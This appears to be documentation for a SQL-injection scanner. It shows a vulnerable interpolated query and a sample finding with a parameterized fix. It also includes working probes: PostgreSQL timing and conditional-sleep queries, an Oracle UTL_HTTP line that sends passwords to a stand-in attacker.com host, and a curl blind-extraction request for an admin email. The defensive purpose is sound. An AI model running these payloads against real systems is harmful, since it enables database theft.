Detect SQL injection vulnerabilities including union-based, blind, error-based, and ORM bypass techniques
Esprit CLI detects SQL injection vulnerabilities across classic and modern attack surfaces, including ORM query builders, JSON operators, and out-of-band exfiltration channels.
SQL injection remains one of the most impactful vulnerability classes. Every string concatenation into SQL should be treated as suspect until proven parameterized.
// Vulnerable: String interpolation in WHERE clauseapp.get('/search', (req, res) => { const sql = `SELECT * FROM products WHERE name LIKE '%${req.query.q}%'`; // Exploitable with: ?q=' OR '1'='1});
Esprit pairs requests differing only in predicate truth to detect:
-- Version/metadataSELECT version(), current_user, current_database()-- Time delaySELECT pg_sleep(5)-- JSONB extraction for blind SQLiSELECT data->>'password' FROM users WHERE id = 1-- Conditional sleep for boolean blindSELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE role='admin') > 0 THEN pg_sleep(5) ELSE pg_sleep(0) END
-- Version/metadataSELECT banner FROM v$version-- Time delayBEGIN DBMS_LOCK.SLEEP(5); END;-- Out-of-band HTTPSELECT UTL_HTTP.REQUEST('http://attacker.com/'||password) FROM users
# Extract admin email via CASE WHENcurl 'http://app.com/users?sort=(CASE%20WHEN%20(SELECT%20email%20FROM%20users%20WHERE%20role=%27admin%27%20LIMIT%201)%20LIKE%20%27a%25%27%20THEN%201%20ELSE%202%20END)'
Impact: Blind data extraction through boolean conditions
[CRITICAL] SQL Injection in search endpointLocation: src/api/search.js:42Oracle: Boolean-basedDBMS: PostgreSQL 14.2Vulnerable Code: const sql = `SELECT * FROM users WHERE name LIKE '%${query}%'`;Proof: Request 1: ?query=test' OR '1'='1 → 50 results Request 2: ?query=test' OR '1'='2 → 0 resultsImpact: - Authentication bypass via manipulated predicates - Full database read access - Potential data modificationRemediation: Use parameterized query: const sql = 'SELECT * FROM users WHERE name LIKE $1'; db.query(sql, [`%${query}%`]);